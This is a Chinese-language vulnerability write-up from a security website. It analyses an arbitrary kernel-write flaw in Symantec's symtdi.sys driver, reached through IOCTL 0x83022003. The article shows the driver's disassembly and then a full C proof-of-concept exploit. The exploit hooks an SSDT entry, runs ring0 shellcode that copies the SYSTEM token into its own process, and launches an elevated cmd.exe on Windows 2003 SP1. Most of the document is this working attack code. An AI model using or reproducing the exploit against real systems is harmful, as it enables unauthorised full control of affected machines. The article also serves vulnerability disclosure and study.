首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
symtdi.sys本地权限提升漏洞
来源:shadow3_at_dark2s.org 作者:shadow3 发布时间:2007-07-17  
最近通过反汇编分析发现了一个 symantec 的漏洞,这个漏洞是在 symtdi.sys 中存在的,由
于驱动程序中处理 IRP_MJ_DEVICE_CONTROL 例程没有检查用户传入的缓冲区地址的合法性,
造成任意内核地址可写的漏洞,用户可以发送恶意的 DeviceIoControl 的来完全的控制计算
机。



在 symtdi.sys 中,以下代码用来处理IRP_MJ_DEVICE_CONTROL请求

loc_387C0:                              ; CODE XREF: sub_38736+6C\u0018j
.text:000387C0                 cmp     dword_4B258, 0
.text:000387C7                 jz      short loc_387EF
.text:000387C7
.text:000387C9                 call    KeGetCurrentIrql
.text:000387C9
.text:000387CE                 and     eax, 0FFh
.text:000387D3                 test    eax, eax
.text:000387D5                 jnz     short loc_387EF
.text:000387D5
.text:000387D7                 call    sub_37B5F
.text:000387D7
.text:000387DC                 test    eax, eax
.text:000387DE                 jz      short loc_387EF
.text:000387DE
.text:000387E0                 mov     dword_4B258, 0
.text:000387EA                 call    sub_37B9A
.text:000387EA
.text:000387EF
.text:000387EF loc_387EF:                              ; CODE XREF: sub_38736+91\u0018j
.text:000387EF                                         ; sub_38736+9F\u0018j
.text:000387EF                                         ; sub_38736+A8\u0018j
.text:000387EF                 mov     ecx, [ebp+var_20]
.text:000387F2                 mov     edx, [ecx+0Ch]
.text:000387F5                 mov     [ebp+var_38], edx
.text:000387F8                 mov     eax, [ebp+var_38]
.text:000387FB                 shr     eax, 10h
.text:000387FE                 mov     [ebp+var_44], eax
.text:00038801                 cmp     [ebp+var_44], 8302h
.text:00038808                 jnz     loc_3983C
.text:00038808
.text:0003880E                 cmp     [ebp+var_38], 83022227h
.text:00038815                 jnb     short loc_38854
.text:00038815
.text:00038817                 cmp     dword_4B0DC, 0
.text:0003881E                 jnz     short loc_38842
.text:0003881E
.text:00038820                 call    ds:KeEnterCriticalRegion
.text:00038826                 mov     ecx, offset stru_4B060 ; FastMutex
.text:0003882B                 call    ds:ExAcquireFastMutexUnsafe
.text:00038831                 mov     ecx, offset stru_4B060 ; FastMutex
.text:00038836                 call    ds:ExReleaseFastMutexUnsafe
.text:0003883C                 call    ds:KeLeaveCriticalRegion
.text:0003883C
.text:00038842
.text:00038842 loc_38842:                              ; CODE XREF: sub_38736+E8\u0018j
.text:00038842                 cmp     dword_4B258, 0
.text:00038849                 jnz     short loc_38854
.text:00038849
.text:0003884B                 mov     ecx, [ebp+var_38]
.text:0003884E                 push    ecx
.text:0003884F                 call    sub_16E17
.text:0003884F
.text:00038854
.text:00038854 loc_38854:                              ; CODE XREF: sub_38736+DF\u0018j
.text:00038854                                         ; sub_38736+113\u0018j

以下开始处理 ControlCode,他们基本都被定义为 METHOD_NEITHER 这种方式

.text:00038854                 mov     edx, [ebp+var_38] ; edx = ControlCode
.text:00038857                 mov     [ebp+var_F0], edx
.text:0003885D                 cmp     [ebp+var_F0], 830221E7h
.text:00038867                 ja      loc_38985 ; 如果ConrolCode > 830221E7h 则跳转
.text:00038867
.text:0003886D                 cmp     [ebp+var_F0], 830221E7h
.text:00038877                 jz      loc_38F5E
.text:00038877
.text:0003887D                 cmp     [ebp+var_F0], 830221BFh
.text:00038887                 ja      loc_38952
.text:00038887
.text:0003888D                 cmp     [ebp+var_F0], 830221BFh
.text:00038897                 jz      loc_38C2C
.text:00038897
.text:0003889D                 cmp     [ebp+var_F0], 830221A7h
.text:000388A7                 ja      short loc_3891F
.text:000388A7
.text:000388A9                 cmp     [ebp+var_F0], 830221A7h
.text:000388B3                 jz      loc_38BB0
.text:000388B3
.text:000388B9                 cmp     [ebp+var_F0], 8302219Ah
.text:000388C3                 ja      short loc_388FA
.text:000388C3
.text:000388C5                 cmp     [ebp+var_F0], 8302219Ah
.text:000388CF                 jz      loc_38E15
.text:000388CF
.text:000388D5                 cmp     [ebp+var_F0], 83022003h
.text:000388DF                 jz      loc_38B49 ; 注意这里
.text:000388DF
.text:000388E5                 cmp     [ebp+var_F0], 83022196h
.text:000388EF                 jz      loc_38DD5
.text:000388EF
.text:000388F5                 jmp     loc_392EE


其上的很多控制码都存在问题,当然最好利用的控制码就是 83022003h 了,我们来看看
symtdi.sys 中如何处理 83022003h


loc_38B49:                              ; CODE XREF: sub_38736+1A9\u0018j
.text:00038B49                 mov     ecx, [ebp+Irp]
.text:00038B4C                 mov     edx, [ecx+3Ch] ; edx = irp->UserBuffer
.text:00038B4F                 mov     [ebp+var_24], edx
.text:00038B52                 mov     eax, [ebp+var_20]
.text:00038B55                 mov     ecx, [eax+4]
.text:00038B58                 mov     [ebp+var_40], ecx
.text:00038B5B                 mov     edx, [ebp+var_40]
.text:00038B5E                 push    edx
.text:00038B5F                 mov     eax, [ebp+var_24]
.text:00038B62                 push    eax
.text:00038B63                 call    sub_3B7B0

sub_3B7B0       proc near               ; CODE XREF: sub_38736+42D\u0018p
.text:0003B7B0
.text:0003B7B0 var_4           = dword ptr -4
.text:0003B7B0 arg_0           = dword ptr  8
.text:0003B7B0 arg_4           = dword ptr  0Ch
.text:0003B7B0
.text:0003B7B0                 push    ebp
.text:0003B7B1                 mov     ebp, esp
.text:0003B7B3                 push    ecx
.text:0003B7B4                 mov     [ebp+var_4], 0
.text:0003B7BB                 cmp     [ebp+arg_0], 0
.text:0003B7BF                 jz      short loc_3B7EB
.text:0003B7BF
.text:0003B7C1                 cmp     [ebp+arg_4], 9
.text:0003B7C5                 jb      short loc_3B7EB
.text:0003B7C5
.text:0003B7C7                 mov     eax, [ebp+arg_0]  


; eax = irp->UserBuffer 以前没有对irp->UserBuffer进行任何检查


.text:0003B7CA                 mov     ecx, dword_45544
.text:0003B7D0                 mov     [eax], ecx


; 以下是对UserBuffer进行写操作,一共写入了9字节,形成了任意内核地址可写的漏洞


.text:0003B7D2                 mov     edx, dword_45548
.text:0003B7D8                 mov     [eax+4], edx
.text:0003B7DB                 mov     cl, byte_4554C
.text:0003B7E1                 mov     [eax+8], cl
.text:0003B7E4                 mov     [ebp+var_4], 9
.text:0003B7E4
.text:0003B7EB
.text:0003B7EB loc_3B7EB:                              ; CODE XREF: sub_3B7B0+F\u0018j
.text:0003B7EB                                         ; sub_3B7B0+15\u0018j
.text:0003B7EB                 mov     eax, [ebp+var_4]
.text:0003B7EE                 mov     esp, ebp
.text:0003B7F0                 pop     ebp
.text:0003B7F1                 retn    8
.text:0003B7F1
.text:0003B7F1 sub_3B7B0       endp


看完代码,我们大家已经很清楚地知道了这个漏洞如何利用,我们可以去Hook一个SSDT上的函
数,在我们进行调用被Hook的函数时,有机会让我们的ring0代码得到运行,Hook的函数我依旧
选择 NtVdmControl,虽然这里覆盖了9字节的数据,但是由于NtVdmControl后面的一个函数也
为一个不常用的api,所以我们的exploit可以保证%80以上的有效率,但是一定要在调用ring 0
代码的时候进行一些现场恢复,不然一定会死的比较难看的。

poc代码:


#include <stdio.h>
#include <windows.h>

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

int main(int argc, char* argv[])
{
    NTSTATUS    status;
    HANDLE    deviceHandle;
    DWORD    dwReturnSize = 0;
    PVOID    VdmControl = NULL;

    PVOID    ShellCodeMemory = (PVOID)0x2E352E35;
    DWORD    MemorySize = 0x2000;

    PROCESS_INFORMATION            pi;
    STARTUPINFOA                stStartup;

    OSVERSIONINFOEX    OsVersionInfo;

    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

    if ( OsVersionInfo.dwMajorVersion != 5 ) {

        printf( "Not NT5 system\n" );
        ExitProcess( 0 );
        return 0;
    }

    if ( OsVersionInfo.dwMinorVersion != 2 ) {
    
        printf( "isn't windows 2003 system\n" );
        ExitProcess( 0 );
        return 0;
    }

    printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
    printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
    printf( "\tCoded by shadow3\n\n" );

    status = NtAllocateVirtualMemory( (HANDLE)-1,
                                      &ShellCodeMemory,
                                      0,
                                      &MemorySize,
                                      MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                      PAGE_EXECUTE_READWRITE );
    if ( status != STATUS_SUCCESS ) {
    
        printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
        return 0;
    }

    memset( ShellCodeMemory, 0x90, MemorySize );

    __asm {
    
        call    CopyShellCode

        nop
        nop
        nop
        nop
        nop
        nop

        //
        // 恢复SSDT保证系统能够正常运行
        //
/*
        mov edi, 0x80827D54
        mov [edi], 0x808C998A
        mov [edi+4], 0x809ba123
        mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe

        mov edi, 0x8083100C
        // mov [edi], 0x808C998A
        mov [edi+4], 0x809970CC // ntkrnlpa.exe version
        mov [edi+8], 0x8092FF3E

        mov    eax,0xFFDFF124    // eax = ETHREAD        (not 3G Mode)
        mov eax,[eax]

        mov    esi,[eax+0x218]
        mov    eax,esi

search2k3sp1:

        mov    eax,[eax+0x98]
        sub    eax,0x98
        mov    edx,[eax+0x94]
        cmp    edx,0x4    // Find System Process
        jne    search2k3sp1

        mov    eax,[eax+0xd8]    // 获取system进程的token
        mov    [esi+0xd8],eax    // 修改当前进程的token

        ret 8

CopyShellCode:
        
        pop    esi
        lea ecx, CopyShellCode
        sub ecx, esi

        mov edi,0x2E352E35
        cld
        rep movsb
    
    }

    deviceHandle = CreateFile("\\\\.\\Symtdi",
                        0,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL);
    if ( INVALID_HANDLE_VALUE == deviceHandle ) {
    
        printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
        return 0;
    } else {
    
        printf( "Open Symtdi device success\n" );
    }

    DeviceIoControl( deviceHandle,
                     0x83022003,
                     NULL,
                     0,
                     (PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
                     0xC,
                     &dwReturnSize,  
                     NULL );

    CloseHandle( deviceHandle );

    VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
    if ( VdmControl == NULL ) {
    
        printf( "VdmControl == NULL\n" );
        return 0;
    }

    printf( "call shellcode ... " );

    _asm {
    
        xor ecx,ecx
        push ecx
        push ecx
        mov eax, VdmControl
        call eax
    }

    printf( "Done.\n" );
    printf( "Create New Process\n" );

    GetStartupInfo( &stStartup );

    CreateProcess( NULL,
                    "cmd.exe",
                    NULL,
                    NULL,
                    TRUE,
                    NULL,
                    NULL,
                    NULL,
                    &stStartup,
                    &pi );

    return 0;
}

在发现这个漏洞的兴奋之余,我上网搜索了一下 symtdi.sys,发现在今年3月份国外已经有人发
现了这个漏洞,不过报告为拒绝服务,然而厂商估计是因为这个漏洞的安全级别比较低,也没有对这个漏洞进行修补,希望安全厂商能够报着为用户负责的心态尽快修补该漏洞,如果对以上还有什么问题请发送邮件到 Polymorphours@gmail.com联系我,谢谢。
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·MS07-014调试手记
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·小心我“DIR”溢出你!
·CVE-2010-4258漏洞分析
·Adobe Reader 'CoolType.dll' TT
·PHPBB<+2.0.10 漏洞说明
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·Rav 核心驱动 memscan.sys 本地
·Symantec 核心驱动 symtdi.sys
·小心我“DIR”溢出你!
·一个CGI程序的漏洞挖掘
·采众家之长分析及改进Cmail漏洞
·读新术-基于开源代码更新的漏洞
·intval()使用不当导致安全漏洞的
·preg_match(_all)的变量初始化问
·mb_ereg(i)_replace()代码注射漏
·利用异常处理执行shellcode实例
·一段对perl 木马的分析
·用Snort从原理上检测MS05-051攻
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved